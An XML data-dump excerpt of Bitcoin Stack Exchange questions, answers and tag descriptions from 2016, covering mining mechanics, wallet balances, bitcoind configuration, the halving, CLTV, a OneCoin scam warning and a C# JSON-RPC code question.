  <row Id="43270" PostTypeId="5" CreationDate="2016-03-09T08:09:36.937" Score="0" Body="&lt;p&gt;Miners will mine on an &quot;empty&quot; block (containing only one transaction to themselves) &lt;em&gt;while&lt;/em&gt; assembling the new block of transactions they intend to mine. Occasionally they find a hash solution in that brief amount of time and therefore broadcast the empty block to collect the block subsidy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only makes sense because the subsidy is currently much higher than the sum of all transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although a miner &lt;em&gt;could&lt;/em&gt; be intentionally mining empty blocks to try and delay transaction confirmations, it is unlikely as they are simply depriving themselves of the fees and passing that money on to the miner of the next block.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="13440" LastEditDate="2017-05-23T19:54:13.550" LastActivityDate="2017-05-23T19:54:13.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43271" PostTypeId="4" CreationDate="2016-03-09T08:09:36.937" Score="0" Body="Blocks containing only the coinbase transaction are referred to as &quot;empty blocks&quot;." OwnerUserId="5406" LastEditorUserId="13440" LastEditDate="2017-05-23T19:54:27.430" LastActivityDate="2017-05-23T19:54:27.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43272" PostTypeId="1" AcceptedAnswerId="43273" CreationDate="2016-03-09T08:35:33.493" Score="3" ViewCount="144" Body="&lt;p&gt;If most miners are looking for solving their proof of work in a prescribed order (perhaps preceded by a prescribed way to break down the search space, e.g. by dichotomy); is there not an advantage for a miner (especially a low hash power one) to proceed randomly and try to avoid common search space enumeration patterns where it will be more competitive? &lt;/p&gt;&#xA;" OwnerUserId="30323" LastEditorUserId="5406" LastEditDate="2016-03-09T09:17:39.847" LastActivityDate="2016-03-09T15:47:37.813" Title="Would miners have an advantage by proceeding randomly?" Tags="|mining-theory|proof-of-work|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43273" PostTypeId="2" ParentId="43272" CreationDate="2016-03-09T08:55:52.570" Score="3" Body="&lt;p&gt;Essentially, everyone is already proceeding randomly, and there is no common search space.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When miners are trying to find a block, everyone works on a different set of candidates: The block reward is paid out through the coinbase transaction. The coinbase transaction's output is specific to the miner because it includes the miner's address as recipient. The coinbase is part of the transaction set that is used to derive the Merkle root. The Merkle root is included in the blockheader. Ergo every mining entity works on different block candidates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SHA-256 is a cryptographic hash function. One of their properties is that any change in the inputs will cause a completely different output. There is no predictable relation between the change in the input and the change in the output. Therefore, you cannot predict where you will find a block – any new candidate whatsoever could be a valid block. This means that there is no progress towards finding a block, there is no stack of work to power through – it's just random chance. The only way to predict whether a candidate will resolve to a valid block is by actually testing it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hence, the only thing that matters to every miner is to check as many unique candidate as possible, meaning that (beside faster hardware or quicker calculation of the hashing) it can only be sped up by making it as fast as possible to iterate through candidates. That's why miners prepare a blockheader and then for the most part only increment the nonce, extranonce, and the timestamp.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-09T15:47:37.813" LastActivityDate="2016-03-09T15:47:37.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43274" PostTypeId="2" ParentId="43264" CreationDate="2016-03-09T10:47:18.613" Score="5" Body="&lt;p&gt;Miners are competing to find valid blocks because each block allows the successful miner to collect a mining reward. The mining reward consists of an amount of newly generated coins as defined by the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/161/5406&quot;&gt;reward schedule&lt;/a&gt; (currently 25 BTC per block) as well as any transaction fees attached to transactions they confirmed with the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At ~$400 per BTC, this values a block reward at approximately $10,000. Blocks are found at about 10 minute intervals, valuing the block rewards each day at about $1.4 million.&lt;br&gt;&#xA; As the hashpower of your equipment in relation to the network's total hashpower determines the likelihood of you succeeding at finding the next block, miners invest in better equipment, which in turn creates a market for manufacturers to produce such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the past years, mining hardware has progressed from CPU, to GPU, to application specific chips (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/12029/5406&quot;&gt;ASIC&lt;/a&gt;) that can exclusively perform the computations required in Bitcoin mining. Back in 2015 this specialized mining equipment pretty much caught up to the technological state of the art, as the first 14nm chips were produced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altogether, the race of ASIC manufacturers to provide the fastest mining equipment and the miners to deploy the same has built up the networks hashrate to an impressive 1.4 exahashes per second, which is about a 50,000x increase since the about 21.6 terahashes per second when the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/40944/5406&quot;&gt;first ASICs were delivered in January 2013&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-03-09T22:56:45.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43277" PostTypeId="1" CreationDate="2016-03-09T13:22:19.663" Score="0" ViewCount="434" Body="&lt;p&gt;Hacking Question: First of all i am totally noob. I dont know much about bitcoins. I have an ecommerce website. I want to accept bitcoin payments for my products. I dont want to use 3rd party api's. I am hiring a developer to run bitcoin core on my server for my website to accept and process bitcoin payments. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it safe to use a freelance developer?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He'll have access to private keys?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will he be able to hack it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to make my bitcoins safe from hacking in which insider job is involved?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please kindly give me a serious, detailed and non technical answer&lt;/p&gt;&#xA;" OwnerDisplayName="user33760" LastEditorUserId="5757" LastEditDate="2016-03-09T15:00:26.927" LastActivityDate="2016-10-21T23:08:47.607" Title="Hacking Question: Hiring a developer to run bitcoin core to process bitcoin payments on site" Tags="|bitcoind|bitcoin-core|payment|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43280" PostTypeId="1" AcceptedAnswerId="43282" CreationDate="2016-03-09T18:18:56.993" Score="1" ViewCount="167" Body="&lt;p&gt;I know there are quite similar questions, but none have addressed my issue. Let's say I use Electrum wallet, that generates addresses &amp;amp; keypairs from seed. So for every next transaction I use different private key, public key &amp;amp; address. So (as I understand) when I want to buy something I send my address encrypted with private key to recipient, he decrypts it with public key &amp;amp; then checks the blockchain to determine if I can afford the transaction. But since I use different address for every transaction, how is that possible? I don't see way to connect current transaction to all that came before.&lt;/p&gt;&#xA;" OwnerUserId="33771" LastActivityDate="2016-03-09T18:32:08.963" Title="When I pay, how is my balance checked, if I use different address every time?" Tags="|transactions|blockchain|address|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43281" PostTypeId="1" CreationDate="2016-03-09T18:31:55.493" Score="3" ViewCount="2125" Body="&lt;p&gt;I am still very new to Bitcoin.&#xA;I installed &lt;code&gt;bitcoind&lt;/code&gt; on my Ubuntu server as described on bitcoin.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installation I issued &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoind -daemon&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and the tool started to download/get the blockchain (which is finished meanwhile). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In contrast to what the setup guide says, the tool did not complain about a missing &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; in the &lt;code&gt;bitcoin.conf&lt;/code&gt; file. Is that an issue with the documentation or is there something wrong with my installation?&lt;/li&gt;&#xA;&lt;li&gt;In case my node gets the chance to process a block, I would be rewarded those 25 BTCs. But to which account would the be sent? Is there a default or do I need to do some configuration for that?&lt;/li&gt;&#xA;&lt;li&gt;As the process to become the node to mine the next block is computational very heavy, I would have expected that the CPU usage of my server should always be very high - but it's only at &amp;lt;10%. How can I make sure that my node participates to become the one to process the next block? Is there some configuration that I missed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="33772" LastEditorUserId="22837" LastEditDate="2016-03-11T07:11:46.120" LastActivityDate="2016-08-10T02:07:40.667" Title="How to check Bitcoind is mining?" Tags="|bitcoind|ubuntu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43282" PostTypeId="2" ParentId="43280" CreationDate="2016-03-09T18:32:08.963" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So (as I understand) when I want to buy something I send my address encrypted with private key to recipient, he decrypts it with public key &amp;amp; then checks the blockchain to determine if I can afford the transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not quite the way it works. You just send the address, which is essentially the public key, to the person who is trying to do the paying. Given the address (more technically, references to times that address has been paid to on the blockchain before), anyone (not just the payee/payer) can verify that the transaction has the funds to spend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And rather than sending the private key to show that you are the owner of the coins, you send a &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;Digital Signature&lt;/a&gt;, which you need the private key to generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet reports your balance by looking at the list of times that you have been paid to before, which you have also not spent. This will be across many addresses. The network doesn't know which payments on the blockchain are yours, you have to reference a few of them when you want to spend funds, and prove you own the key to them with a digital signature.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-03-09T18:32:08.963" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43283" PostTypeId="1" CreationDate="2016-03-09T19:30:05.073" Score="1" ViewCount="600" Body="&lt;p&gt;I am looking for a way to use HD wallets with ruby. This is what I have found: &lt;a href=&quot;https://github.com/GemHQ/money-tree&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GemHQ/money-tree&lt;/a&gt;. However I am having trouble generating a wallet and getting the seed to reload it in the program though that. I would like to be able to create many addresses in this wallet. I am also looking for a way to load my electrum wallet using the ruby money-tree gem, or any other you happen to know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="29528" LastActivityDate="2018-02-12T17:43:48.580" Title="Ruby: How do I create a wallet and import an electrum seed using money-tree gem" Tags="|wallet|bip32-hd-wallets|ruby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43288" PostTypeId="1" CreationDate="2016-03-10T06:03:22.363" Score="0" ViewCount="163" Body="&lt;p&gt;My question is about Bitcoin, Litecoin and Ripple, to which other currencies (crypto-currency and regular) they can be exchanged? Are they exchangeable with any currency or can each one be exchanged with specific currencies? &lt;/p&gt;&#xA;" OwnerUserId="33746" LastEditorUserId="22837" LastEditDate="2016-03-11T07:11:18.997" LastActivityDate="2016-05-10T07:51:52.747" Title="Crypto-currency interoperability" Tags="|exchanges|litecoin|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43290" PostTypeId="5" CreationDate="2016-03-10T10:03:43.497" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-10T10:03:43.497" LastActivityDate="2016-03-10T10:03:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43291" PostTypeId="4" CreationDate="2016-03-10T10:03:43.497" Score="0" Body="Questions concerned with the technical details of mining such as blockheader assembly, or details in the mining algorithm. Questions about the conceptual nature of mining should rather be tagged with [mining-theory]." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-10T10:03:43.497" LastActivityDate="2016-03-10T10:03:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43292" PostTypeId="2" ParentId="43288" CreationDate="2016-03-10T10:43:23.500" Score="1" Body="&lt;p&gt;There are services such as &lt;a href=&quot;http://shapeshift.io&quot; rel=&quot;nofollow&quot;&gt;ShapeShift&lt;/a&gt; that have built whole businesses around exchanging cryptocurrencies for each other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous exchanges in many different countries that allow customers to trade national currencies for cryptocurrencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several payment processors that accept cryptocurrency payments for their customers and reimburse them in national currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some services that automatically convert your salary into cryptocurrency, allowing you to be indirectly paid in cryptocurrency by regular companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are services that allow you to pay virtually any bill or order from any webshop through them as intermediaries, paying the with cryptocurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;By using a combination of the above, you can virtually trade any currency, your labor, any service, produce or physical object for pretty much any cryptocurrency.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-10T10:43:23.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43293" PostTypeId="2" ParentId="20611" CreationDate="2016-03-10T12:46:56.770" Score="4" Body="&lt;p&gt;The original paper has this line, which I believe gets at &lt;em&gt;why&lt;/em&gt; you have to spend outputs entirely.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It should be noted that fan-out, where a transaction depends on&#xA;  several transactions, and those transactions depend on many more, is&#xA;  not a problem here. There is never the need to extract a complete&#xA;  standalone copy of a transaction's history&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you didn't have to spend an output entirely, you would need to check every other transaction that also includes that output and make sure the sum wasn't more than it contained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% certain why inputs and outputs were used rather than keeping balances directly. Ethereum and Ripple keep track of balances directly in the ledger. I suspect there are implementation pros and cons. The following answers list advantages to inputs/outputs. I'd be curious to hear an Ethereum dev's counterarguments to these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/39177/why-does-bitcoin-use-the-input-output-system?rq=1&quot;&gt;Why does Bitcoin use the input/output system?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29780/why-does-bitcoin-store-all-transaction-inputs-and-outputs-instead-of-just-an-a&quot;&gt;Why does Bitcoin store all transaction inputs and outputs, instead of just an &amp;quot;account/balance&amp;quot; ledger?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5091" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-03-10T12:46:56.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43294" PostTypeId="1" CreationDate="2016-03-10T13:07:51.073" Score="2" ViewCount="727" Body="&lt;p&gt;As I understand it, nLockTime prevents transactions from being included in a block, or even relayed. The problem is, if I pre-sign a transaction, and give it to someone, they have no guarantee that I won't invalidate that transaction by spending its inputs somewhere else before the nLockTime enables the transaction I gave them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a transaction with CHECKLOCKTIMEVERIFY, that gets mined immediately, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is an example CLTV pair of transactions, including the one that sets the condition, and the one that spends it? It would be helpful to see example sequence numbers, transaction nLockTime, CLTV value, and block numbers for the two transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following question contains the relevant CLTV code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/40706/why-is-op-checklocktimeverify-disabled-by-maximum-sequence-number&quot;&gt;Why is OP_CHECKLOCKTIMEVERIFY disabled by maximum sequence number?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the OP_CHECKLOCKTIMEVERIFY BIP: &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5091" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-06-10T20:03:45.427" Title="Do transactions including CHECKLOCKTIMEVERIFY get mined immediately?" Tags="|checklocktimeverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43295" PostTypeId="1" AcceptedAnswerId="43296" CreationDate="2016-03-10T13:13:53.940" Score="4" ViewCount="12043" Body="&lt;p&gt;I have recently heard about this kind of crypto-valute and I would like to know from experts qualified informations and suggestions. Sincerely, I know very little about the world of the Bitcoin so I would like to know the differences between the two, if there are, and the potential risks and revenues. &#xA;Thank you for your attention.&lt;/p&gt;&#xA;" OwnerUserId="33795" LastEditorUserId="5406" LastEditDate="2016-03-10T13:56:18.930" LastActivityDate="2016-10-14T22:54:14.600" Title="Onecoin vs Bitcoin" Tags="|fraud|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43296" PostTypeId="2" ParentId="43295" CreationDate="2016-03-10T13:55:01.580" Score="8" Body="&lt;p&gt;Bitcoin is sound technology, but somewhat hard to understand encompassingly. Due to the amount of money that is involved, numerous ponzi-schemes and other scams have sprung up in its vicinity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read, and the recount of another Bitcoin meetup member that went to a OneCoin presentation: &lt;strong&gt;OneCoin appears to be a pyramid scheme&lt;/strong&gt; aimed at people that know little to nothing about cryptocurrency, feeding off of the news attention Bitcoin et al. are generating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please apply a healthy amount of skepticism when offered any form of cryptocurrency investment. If it sounds too good to be true, it probably is. When in doubt, please ask about specific products on platforms dedicated to the discussion of cryptocurrencies. Personally, I'll stay away from OneCoin as far as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related News:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cointelegraph.com/news/one-coin-much-scam-onecoin-exposed-as-global-mlm-ponzi-scheme&quot; rel=&quot;nofollow&quot;&gt;One Coin, Much Scam: OneCoin Exposed as Global MLM Ponzi Scheme&lt;/a&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://behindmlm.com/companies/onecoin-investment-warning-issued-by-bank-of-hungary/&quot; rel=&quot;nofollow&quot;&gt;OneCoin investment warning issued by Bank of Hungary&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-10-14T22:54:14.600" LastActivityDate="2016-10-14T22:54:14.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43297" PostTypeId="1" CreationDate="2016-03-10T17:03:54.363" Score="1" ViewCount="159" Body="&lt;p&gt;I have read a lot about the halving that is set to take place later this year, but my question is how is halving calculated? Will it also effect my bitcoin balance as a whole?&lt;/p&gt;&#xA;" OwnerUserId="33719" LastEditorUserId="22837" LastEditDate="2016-03-12T13:00:57.373" LastActivityDate="2020-04-23T21:39:57.093" Title="Bitcoin Halving - What is it? How is it calculated? Does it affect my bitcoin balance?" Tags="|mining-reward|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43298" PostTypeId="1" CreationDate="2016-03-10T17:46:00.077" Score="1" ViewCount="473" Body="&lt;p&gt;I'm trying to modify the CoiniumServ codebase ( &lt;a href=&quot;https://github.com/int6/CoiniumServ&quot; rel=&quot;nofollow&quot;&gt;https://github.com/int6/CoiniumServ&lt;/a&gt; ), so it supports bitcoind in regtest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know using bitcoin-cli you need to add -regtest to the bitcoin-cli calls, or else it doesn't work. But looking through the C# code I'm not sure where/how to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the part where a WebRequest object is created: &lt;a href=&quot;https://github.com/int6/CoiniumServ/blob/fbfcc55b6182902c42fb0cd76411cd646a898fca/src/CoiniumServ/Daemon/DaemonBase.cs#L134&quot; rel=&quot;nofollow&quot;&gt;https://github.com/int6/CoiniumServ/blob/fbfcc55b6182902c42fb0cd76411cd646a898fca/src/CoiniumServ/Daemon/DaemonBase.cs#L134&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private HttpWebRequest MakeHttpRequest(DaemonRequest walletRequest)&#xA;        {&#xA;            RequestsMeter.Mark();&#xA;&#xA;            var webRequest = (HttpWebRequest)WebRequest.Create(RpcUrl);&#xA;            webRequest.Credentials = new NetworkCredential(RpcUser, RpcPassword);&#xA;&#xA;            // Important, otherwise the service can't deserialse your request properly&#xA;            webRequest.UserAgent = string.Format(&quot;CoiniumServ {0:} {1:}&quot;, VersionInfo.CodeName, Assembly.GetAssembly(typeof (Program)).GetName().Version);&#xA;            webRequest.ContentType = &quot;application/json-rpc&quot;;&#xA;            webRequest.Method = &quot;POST&quot;;&#xA;            webRequest.Timeout = _timeout;&#xA;&#xA;            _logger.Verbose(&quot;tx: {0}&quot;, Encoding.UTF8.GetString(walletRequest.GetBytes()).PrettifyJson());&#xA;&#xA;            byte[] byteArray = walletRequest.GetBytes();&#xA;            webRequest.ContentLength = byteArray.Length;&#xA;&#xA;            try&#xA;            {&#xA;                using (Stream dataStream = webRequest.GetRequestStream())&#xA;                {&#xA;                    dataStream.Write(byteArray, 0, byteArray.Length);&#xA;                }&#xA;&#xA;                return webRequest;&#xA;            }&#xA;            catch (WebException webException)&#xA;            {&#xA;                webRequest = null;&#xA;                throw _rpcExceptionFactory.GetRpcException(webException);&#xA;            }&#xA;            catch (Exception exception)&#xA;            {&#xA;                webRequest = null;&#xA;                throw _rpcExceptionFactory.GetRpcException(&quot;An unknown exception occured while making json request.&quot;, exception);                &#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding &quot;regtest:1&quot; to the json object of walletRequest, and adding &quot;-regtest=1&quot; as an extra parameter. walletRequest is a &quot;DaemonRequest&quot;, seen here: &lt;a href=&quot;https://github.com/int6/CoiniumServ/blob/fbfcc55b6182902c42fb0cd76411cd646a898fca/src/CoiniumServ/Daemon/DaemonRequest.cs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/int6/CoiniumServ/blob/fbfcc55b6182902c42fb0cd76411cd646a898fca/src/CoiniumServ/Daemon/DaemonRequest.cs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System.Collections.Generic;&#xA;using System.Linq;&#xA;using System.Text;&#xA;using Newtonsoft.Json;&#xA;&#xA;namespace CoiniumServ.Daemon&#xA;{&#xA;    /// &amp;lt;summary&amp;gt;&#xA;    /// Class containing data sent to the coin wallet as a JSON RPC call.&#xA;    /// &amp;lt;/summary&amp;gt;&#xA;    public class DaemonRequest&#xA;    {&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// The method to call on the coin wallet.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        [JsonProperty(PropertyName = &quot;method&quot;, Order = 0)]&#xA;        public string Method { get; set; }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// A list of parameters to pass to the method.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        [JsonProperty(PropertyName = &quot;params&quot;, Order = 1)]&#xA;        public IList&amp;lt;object&amp;gt; Parameters { get; set; }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Id of the RPC call. This id will be returned in the response.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        [JsonProperty(PropertyName = &quot;id&quot;, Order = 2)]&#xA;        public int Id { get; set; }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Create a new JSON RPC request with the given id, method and optionally parameters.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;id&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;method&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;parameters&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        public DaemonRequest(int id, string method, params object[] parameters)&#xA;        {&#xA;            Id = id;&#xA;            Method = method;&#xA;&#xA;            Parameters = parameters != null ? parameters.ToList() : new List&amp;lt;object&amp;gt;();&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Get the bytes of the JSON representation of this object.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;&#xA;        public byte[] GetBytes()&#xA;        {&#xA;            string json = JsonConvert.SerializeObject(this);&#xA;            return Encoding.UTF8.GetBytes(json);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6105" LastActivityDate="2016-03-10T19:35:16.877" Title="How to add parameters like &quot;-regtest=1&quot; to a JSON-RPC call in C#?" Tags="|json-rpc|regtest|c#|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43300" PostTypeId="2" ParentId="43297" CreationDate="2016-03-10T21:24:50.067" Score="2" Body="&lt;p&gt;The halving takes place approximately every 4 years. It is programmed in the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will not affect your current bitcoins at all. It only affects the newly mined bitcoins which will be 12.5 after the halving (instead of 25).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The halving is expected to influence the price of bitcoin. With less supply the price will probably rise given that demand is the same... at least in the long run, since supply could also stay the same or even increase if people that were holding bitcoins start to sell. &lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-10T21:24:50.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43303" PostTypeId="2" ParentId="43281" CreationDate="2016-03-11T13:20:03.207" Score="5" Body="&lt;p&gt;Answers to your respective questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since 0.12, bitcoind supports cookie file authentication. This means that on startup of &lt;code&gt;bitcoind&lt;/code&gt;, a file with a random key in it is created. Anyone who can present the contents of that file to the running bitcoind is allowed access. Since &lt;code&gt;bitcoin-cli&lt;/code&gt; runs locally and as the same user, it can read this file and do so.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin does not have any concept of accounts (at least not at the protocol level). Generated funds by &lt;code&gt;bitcoind&lt;/code&gt;'s built-in miner are sent to an address taken from your local wallet. If you want to modify that, use mining software instead of the built-in miner (which is only there for testing purposes).&lt;/li&gt;&#xA;&lt;li&gt;The built-in miner is off by default. You can enable it by setting gen=1 in the bitcoin.conf file, but I would strongly discourage you from doing so. The chance of finding a block using that setup is about 1 in a billion, if you leave it running for 10000 years. If you insist on using your CPU for mining (which won't ever be profitable), at least use optimized software like bfgminer, and sign up with a pool, so you can get small rewards for work, rather than waiting for a lottery you'll never win.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update august 2016: The internal miner is removed entirely in Bitcoin Core 0.13.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-08-10T02:07:40.667" LastActivityDate="2016-08-10T02:07:40.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43304" PostTypeId="1" AcceptedAnswerId="43306" CreationDate="2016-03-11T16:24:10.913" Score="2" ViewCount="389" Body="&lt;p&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#_introduction_2&quot; rel=&quot;nofollow&quot;&gt;Ch7&lt;/a&gt; of the book writes at the end of the &lt;strong&gt;Introduction&lt;/strong&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;After 100 blocks back there is so much stability that the coinbase transaction—the transaction containing newly mined bitcoins—can be spent&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what is the author trying to convey with an example?&lt;/p&gt;&#xA;" OwnerUserId="32636" LastEditorUserId="5406" LastEditDate="2016-03-13T22:46:30.480" LastActivityDate="2016-03-13T22:46:30.480" Title="What is 'spendability of coinbase transaction after 100 blocks' in Mastering Bitcoin referring to?" Tags="|blockchain|immature-coins|mastering-bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
